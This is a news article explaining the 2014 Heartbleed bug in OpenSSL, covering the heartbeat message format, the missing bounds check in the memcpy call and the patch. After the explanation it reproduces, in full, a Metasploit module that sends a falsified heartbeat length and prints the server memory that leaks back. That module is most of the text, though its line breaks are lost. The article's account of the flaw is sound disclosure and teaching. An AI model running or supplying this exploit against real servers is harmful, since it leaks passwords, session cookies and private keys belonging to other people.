A tiny flaw in the widely used encryption library allows anyone to trivially and secretly dip into vulnerable systems, from your bank's HTTPS server to your private VPN, to steal passwords, login cookies, private crypto-keys and much more. How, in 2014, is this possible?
A simple script for the exploit engine Metasploit can, in a matter of seconds, extract sensitive in-memory data from systems that rely on OpenSSL 1.0.1 to 1.0.1f for TLS encryption. The bug affects about 500,000, or 17.5 per cent, of trusted HTTPS websites, we're told, as well as client software, email servers, chat services, and anything else using the aforementioned versions of OpenSSL.
A good number of popular web services have now been patched following disclosure of the vulnerability on Monday; you can use this tool to check (use at your own risk, of course), but don't forget to do more than patch your OpenSSL installation if you're affected – change your keys, dump your session cookies and evaluate your at-risk data.
Too long, didn't read: A summary
This serious flaw (CVE-2014-0160) is a missing bounds check before a
memcpy()
call that uses non-sanitized user input as the length parameter. An attacker can trick OpenSSL into allocating a 64KB buffer, copy more bytes than is necessary into the buffer, send that buffer back, and thus leak the contents of the victim's memory, 64KB at a time. The patch is here, and the blunder is far worse than Apple's gotofail.The TLS heartbeat
The bug lies in OpenSSL's implementation of the TLS heartbeat extension: it's a keep-alive feature in which one end of the connection sends a payload of arbitrary data to the other end, which sends back an exact copy of that data to prove everything's OK. The heartbeat message, according to the official standard, looks like this, in C:
struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[HeartbeatMessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage;
This
HeartbeatMessage
arrives via an SSL3_RECORD
structure, a basic building block of SSL/TLS communications. The key fields in SSL3_RECORD
are given below;length is how many bytes are in the received HeartbeatMessage
and data
is a pointer to that HeartbeatMessage
.struct ssl3_record_st { unsigned int length; /* How many bytes available */ [...] unsigned char *data; /* pointer to the record data */ [...] } SSL3_RECORD;
So just to be clear, the SSL3 record's
data
points to the start of the receivedHeartbeatMessage
and length
is the number of bytes in the receivedHeartbeatMessage
. Meanwhile, inside the received HeartbeatMessage
,payload_length
is the number of bytes in the arbitrary payload that has to be sent back.
Whoever sends a
HeartbeatMessage
controls the payload_length
but as we will see, this is never checked against the parent SSL3_RECORD
's length
field, allowing an attacker to overrun memory.
The diagram below shows how the attack works:
In the above example, an attacker sends a four-byte
HeartbeatMessage
including a single byte payload, which is correctly acknowledged by the SSL3's length
record. But the attacker lies in the payload_length
field to claim the payload is 65535 bytes in size. The victim ignores the SSL3 record, and reads 65535 bytes from its own memory, starting from the received HeartbeatMessage
payload, and copies it into a suitably sized buffer to send back to the attacker. It thus hoovers up far too many bytes, dangerously leaking information as indicated above in red.Show me the code
The broken OpenSSL code that processes the incoming
HeartbeatMessage
looks like this, where p
is a pointer to the start of the message:/* Read type and payload length first */ hbtype = *p++; n2s(p, payload); pl = p;
So the message type is popped into the
hbtype
variable, the pointer is incremented by one byte, and the n2s()
macro writes the 16-bit length of the heartbeat payload to the variable payload
and increments the pointer by two bytes. Then pl
becomes a pointer to the contents of the payload.
Let's say a heartbeat message with a
payload_length
of 65535, ie: a heartbeat with a 64KB payload, the maximum possible, is received. The code has to send back a copy of the incoming HeartbeatMessage
, so it allocates a buffer big enough to hold the 64KB payload plus one byte to store the message type, two bytes to store the payload length, and some padding bytes, as per the above structure.
It constructs the reply
HeartbeatMessage
structure with the following code, wherebp
is a pointer to the start of the reply HeartbeatMessage
:/* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; s2n(payload, bp); memcpy(bp, pl, payload);
So the code writes the response type to the start of the buffer, increments the buffer pointer, uses the
s2n()
macro to write the 16-bit payload
length to memory and increment the buffer pointer by two bytes, and then it copies payload
number of bytes from the received payload into the outgoing payload for the reply.
Remember,
payload
is controlled by the attacker, and it's quite large at 64KB. If the actual HeartbeatMessage
sent by the attacker only has a payload of, say, one byte, and its payload_length
is a lie, then the above memcpy()
will read beyond the end of the received HeartbeatMessage
and start reading from the victim process's memory.
And this memory will contain other juicy information, such as passwords or decrypted messages from other clients. Sending another heartbeat message leaks another 64KB, so rinse and repeat to scour the victim's system for goodies.
In fact, the bug leaks this sort of information, although we understand Yahoo! has since patched its systems:
The fix
The patch in OpenSSL 1.0.1g is essentially a bounds check, using the correct record length in the SSL3 structure (
s3->rrec
) that described the incomingHeartbeatMessage
.hbtype = *p++; n2s(p, payload); if (1 + 2 + payload + 16 > s->s3->rrec.length) return 0; /* silently discard per RFC 6520 sec. 4 */ pl = p;
OpenSSL's implementation of TLS heartbeats was committed to the project's source code 61 minutes to midnight on Saturday, 31 December, 2011. What we're experiencing now is the mother of all delayed hangovers. ®
Show me the code
### This module requires Metasploit: http//metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core'class Metasploit3 < Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::ReportCIPHER_SUITES = [0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA0x0096, # TLS_RSA_WITH_SEED_CBC_SHA0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA0x0005, # TLS_RSA_WITH_RC4_128_SHA0x0004, # TLS_RSA_WITH_RC4_128_MD50x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA0x0009, # TLS_RSA_WITH_DES_CBC_SHA0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD50x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD50x00ff # Unknown]HANDSHAKE_RECORD_TYPE = 0x16HEARTBEAT_RECORD_TYPE = 0x18ALERT_RECORD_TYPE = 0x15TLS_VERSION = {'1.0' => 0x0301,'1.1' => 0x0302,'1.2' => 0x0303}TTLS_CALLBACKS = {'SMTP' => :tls_smtp,'IMAP' => :tls_imap,'JABBER' => :tls_jabber,'POP3' => :tls_pop3}def initializesuper('Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak','Description' => %q{This module implements the OpenSSL Heartbleed attack. The problemexists in the handling of heartbeat requests, where a fake length canbe used to leak memory data in the response. Services that supportSTARTTLS may also be vulnerable.},'Author' => ['Neel Mehta', # Vulnerability discovery'Riku', # Vulnerability discovery'Antti', # Vulnerability discovery'Matti', # Vulnerability discovery'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.'FiloSottile', # PoC site and tool'Christian Mehlmauer', # Msf module'wvu', # Msf module'juan vazquez' # Msf module],'References' =>[['CVE', '2014-0160'],['US-CERT-VU', '720951'],['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],['URL', 'http://heartbleed.com/'],['URL', 'https://github.com/FiloSottile/Heartbleed'],['URL', 'https://gist.github.com/takeshixx/10107280'],['URL', 'http://filippo.io/Heartbleed/']],'DisclosureDate' => 'Apr 7 2014','License' => MSF_LICENSE)register_options([Opt::RPORT(443),OptEnum.new('STARTTLS', [true, 'Protocol to use with STARTTLS, None to avoid STARTTLS ', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3' ]]),OptEnum.new('TLSVERSION', [true, 'TLS version to use', '1.0', ['1.0', '1.1', '1.2']])], self.class)register_advanced_options([OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])], self.class)enddef peer"#{rhost}:#{rport}"enddef tls_smtp# https://tools.ietf.org/html/rfc3207sock.get_oncesock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\n")res = sock.get_onceunless res && res =~ /STARTTLS/return nilendsock.put("STARTTLS\n")sock.get_onceenddef tls_imap# http://tools.ietf.org/html/rfc2595sock.get_oncesock.put("a001 CAPABILITY\r\n")res = sock.get_onceunless res && res =~ /STARTTLS/ireturn nilendsock.put("a002 STARTTLS\r\n")sock.get_onceenddef tls_pop3# http://tools.ietf.org/html/rfc2595sock.get_oncesock.put("CAPA\r\n")res = sock.get_onceif res.nil? || res =~ /^-/ || res !~ /STLS/return nilendsock.put("STLS\r\n")res = sock.get_onceif res.nil? || res =~ /^-/return nilendresenddef tls_jabber# http://xmpp.org/extensions/xep-0035.htmlmsg = "<?xml version='1.0' ?>"msg << "<stream:stream xmlns='jabber:client' "msg << "xmlns:stream='http://etherx.jabber.org/streams' "msg << "version='1.0' "msg << "to='#{datastore['XMPPDOMAIN']}'>"sock.put(msg)res = sock.getif res.nil? || res =~ /stream:error/ || res !~ /starttls/iprint_error("#{peer} - Jabber host unknown. Please try changing the XMPPDOMAIN option.") if res && res =~ /<host-unknown/return nilendmsg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"sock.put(msg)sock.get_onceenddef run_host(ip)connectunless datastore['STARTTLS'] == 'None'vprint_status("#{peer} - Trying to start SSL via #{datastore['STARTTLS']}")res = self.send(TTLS_CALLBACKS[datastore['STARTTLS']])if res.nil?vprint_error("#{peer} - STARTTLS failed...")returnendendvprint_status("#{peer} - Sending Client Hello...")sock.put(client_hello)server_hello = sock.getunless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPEvprint_error("#{peer} - Server Hello Not Found")returnendvprint_status("#{peer} - Sending Heartbeat...")heartbeat_length = 16384sock.put(heartbeat(heartbeat_length))hdr = sock.get_once(5)if hdr.blank?vprint_error("#{peer} - No Heartbeat response...")returnendunpacked = hdr.unpack('Cnn')type = unpacked[0]version = unpacked[1] # must match the type from client_hellolen = unpacked[2]# try to get the TLS errorif type == ALERT_RECORD_TYPEres = sock.get_once(len)alert_unp = res.unpack('CC')alert_level = alert_unp[0]alert_desc = alert_unp[1]msg = "Unknown error"# http://tools.ietf.org/html/rfc5246#section-7.2case alert_descwhen 0x46msg = "Protocol error. Looks like the chosen protocol is not supported."endprint_error("#{peer} - #{msg}")disconnectreturnendunless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLSVERSION']]vprint_error("#{peer} - Unexpected Heartbeat response")disconnectreturnendvprint_status("#{peer} - Heartbeat response, checking if there is data leaked...")heartbeat_data = sock.get_once(heartbeat_length) # Read the magic length...if heartbeat_dataprint_good("#{peer} - Heartbeat response with leak")report_vuln({:host => rhost,:port => rport,:name => self.name,:refs => self.references,:info => "Module #{self.fullname} successfully leaked info"})vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")elsevprint_error("#{peer} - Looks like there isn't leaked information...")endenddef heartbeat(length)payload = "\x01" # Heartbeat Message Type: Request (1)payload << [length].pack("n") # Payload Length: 16384ssl_record(HEARTBEAT_RECORD_TYPE, payload)enddef client_hello# Use current day for TLS timetime_temp = Time.nowtime_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_ihello_data = [TLS_VERSION[datastore['TLSVERSION']]].pack("n") # Version TLShello_data << [time_epoch].pack("N") # Time in epoch formathello_data << Rex::Text.rand_text(28) # Randomhello_data << "\x00" # Session ID lengthhello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)hello_data << CIPHER_SUITES.pack("n*") # Cipher Suiteshello_data << "\x01" # Compression methods length (1)hello_data << "\x00" # Compression methods: nullhello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)hello_data_extensions << "\x00\x01" # Extension lengthhello_data_extensions << "\x01" # Extension datahello_data << [hello_data_extensions.length].pack("n")hello_data << hello_data_extensionsdata = "\x01\x00" # Handshake Type: Client Hello (1)data << [hello_data.length].pack("n") # Lengthdata << hello_datassl_record(HANDSHAKE_RECORD_TYPE, data)enddef ssl_record(type, data)record = [type, TLS_VERSION[datastore['TLSVERSION']], data.length].pack('Cnn')record << dataendend